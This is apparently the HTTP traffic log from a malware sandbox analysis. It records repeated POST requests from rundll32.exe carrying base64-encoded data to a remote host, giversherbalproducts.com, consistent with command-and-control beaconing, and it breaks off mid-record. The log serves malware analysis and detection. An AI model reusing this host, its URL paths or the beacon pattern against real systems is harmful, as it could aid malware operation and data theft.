Oct 4, 2021 16:02:05.720347881 CEST	7015	OUT	POST /lBawcxb5/HQUsCCQkQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:06.238650084 CEST	7022	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:05 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.3	49923	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:06.005784035 CEST	7019	OUT	POST /lBawcxb5/MQN8fQJCe3J+YXp8c2J9ZXk= HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:06.461173058 CEST	7025	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:06 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.3	49927	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:06.649257898 CEST	7027	OUT	POST /lBawcxb5/LSQbFSMqOi86NycfOA4HeXMIIXwEGBInKTkgQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:07.129787922 CEST	7029	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:06 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 6b 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5ekJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49765	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:01:14.458041906 CEST	1059	OUT	POST /lBawcxb5/HDN9NScAAw8PKwEFMi0/JTI5PEZ6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:01:14.938431978 CEST	1060	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:01:14 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 70 38 65 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXp8eEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.3	49928	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:07.058419943 CEST	7028	OUT	POST /lBawcxb5/HQUsCCQkQ3p1fWV7fXRheWR4 HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:07.579659939 CEST	7030	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:07 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
121	192.168.2.3	49929	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:07.484769106 CEST	7030	OUT	POST /lBawcxb5/EQ4vO0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:07.978899956 CEST	7032	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:07 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 65 30 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5e0JBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
122	192.168.2.3	49930	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:07.992269993 CEST	7032	OUT	POST /lBawcxb5/LSQbFSMqOi86NycfOA4HeXMIIXwEGBInKTkgQn12eWR6endleGV/ HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:08.467636108 CEST	7034	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
123	192.168.2.3	49931	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:08.269381046 CEST	7033	OUT	POST /lBawcxb5/B0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:08.748954058 CEST	7035	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 64 45 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5dEJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
124	192.168.2.3	49932	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:08.794070959 CEST	7035	OUT	POST /lBawcxb5/EQ4vO0Z6c3lifn1yZX5heA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:09.243402004 CEST	7040	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:08 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 4a 47 51 45 4a 46 52 55 5a 48 51 55 56 47 51 55 64 47 52 6b 5a 43 51 45 5a 42 52 55 4a 44 51 55 46 43 51 55 4e 43 52 6b 49 3d 0a 0a 0a 09 09 09 0d 0d 0d Data Ascii: f3p/QUVCQ0FBfn15eH96fXt5dUJBQ0JGQnp6eWJ+eXNlfXt4ZH57QkFDQkZCfHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkJHQUVGQUcFAwEOR0FFRkFHBQMBDkdBRUZBRwUDAQ5HQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkJGQEJFRUZHQUVGQUdGRkZCQEZBRUJDQUFCQUNCRkI=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
125	192.168.2.3	49933	198.38.82.168	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Oct 4, 2021 16:02:09.030463934 CEST	7037	OUT	POST /lBawcxb5/O0N6dX1le310YXlkeA== HTTP/1.1 Host: giversherbalproducts.com Content-Length: 76 Data Raw: 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 49 3d 0d 0a 0d 0a Data Ascii: fHx7enxyQ0IkLjkuMUVGCHAXGTwuODgQJyo4LzYTCjo7CC4/KxceIConIiIoQkMdDQISDg0cRkI=
Oct 4, 2021 16:02:09.466383934 CEST	7043	IN	HTTP/1.1 200 OK Date: Mon, 04 Oct 2021 14:02:09 GMT Server: Apache/2.4.48 (cPanel) OpenSSL/1.1.1l mod_jk/1.2.41 mod_bwlimited/1.4 mod_fcgid/2.3.9 Phusion_Passenger/6.0.7 X-Powered-By: PHP/7.0.33 Upgrade: h2,h2c Connection: Upgrade Content-Length: 266 Content-Type: text/html; charset=UTF-8 Data Raw: 0d 0d 0d 09 09 09 0a 0a 0a 66 33 70 2f 51 55 56 43 51 30 46 42 66 6e 31 35 65 48 39 36 66 58 74 35 64 55 4a 42 51 30 4a 47 51 6e 70 36 65 57 4a 2b 65 58 4e 6c 66 58 74 34 5a 48 35 37 51 6b 46 44 51 6b 5a 43 66 48 78 37 65 6e 78 79 51 30 49 6b 4c 6a 6b 75 4d 55 56 47 43 48 41 58 47 54 77 75 4f 44 67 51 4a 79 6f 34 4c 7a 59 54 43 6a 6f 37 43 43 34 2f 4b 78 63 65 49 43 6f 6e 49 69 49 6f 51 6b 4d 64 44 51 49 53 44 67 30 63 52 6b 4a 48 51 55 56 47 51 55 63 46 41 77 45 4f 52 30 46 46 52 6b 46 48 42 51 4d 42 44 6b 64 42 52 55 5a 42 52 77 55 44 41 51 35 48 51 55 56 47 51 55 64 47 52 6b 